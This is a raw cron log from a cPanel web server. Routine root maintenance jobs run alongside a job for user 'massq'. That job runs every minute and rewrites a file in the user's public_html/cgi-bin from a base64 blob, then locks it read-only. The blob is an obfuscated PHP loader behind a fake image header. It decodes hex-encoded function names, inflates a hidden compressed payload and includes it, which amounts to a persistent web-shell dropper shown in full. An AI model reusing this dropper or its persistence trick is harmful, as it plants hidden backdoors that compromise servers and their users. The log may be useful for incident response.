Sep  3 21:05:01 server CROND[24777]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:05:01 server CROND[24781]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 21:05:01 server CROND[24780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:05:01 server CROND[24787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:05:01 server CROND[24790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:05:01 server CROND[24789]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:06:01 server CROND[25744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:06:01 server CROND[25745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:06:01 server CROND[25746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:07:01 server CROND[26128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:07:01 server CROND[26129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:07:01 server CROND[26130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:08:01 server CROND[26496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:08:01 server CROND[26497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:08:01 server CROND[26498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:09:01 server CROND[26883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:09:01 server CROND[26884]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 21:09:01 server CROND[26885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:09:01 server CROND[26886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:10:01 server CROND[27347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 21:10:01 server CROND[27351]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:10:01 server CROND[27350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:10:01 server CROND[27352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:10:01 server CROND[27359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:10:01 server CROND[27357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:10:01 server CROND[27360]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 21:10:01 server CROND[27358]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 21:11:01 server CROND[28271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:11:01 server CROND[28272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:11:01 server CROND[28273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:12:01 server CROND[28651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:12:01 server CROND[28652]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 21:12:01 server CROND[28653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:12:01 server CROND[28654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:13:01 server CROND[29020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:13:01 server CROND[29021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:13:01 server CROND[29022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:14:01 server CROND[29390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:14:01 server CROND[29391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:14:01 server CROND[29392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:15:01 server CROND[29791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:15:01 server CROND[29793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:15:01 server CROND[29797]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 21:15:01 server CROND[29794]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:15:01 server CROND[29800]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 21:15:01 server CROND[29795]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:15:01 server CROND[29799]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 21:15:01 server CROND[29798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:16:01 server CROND[30745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:16:01 server CROND[30746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
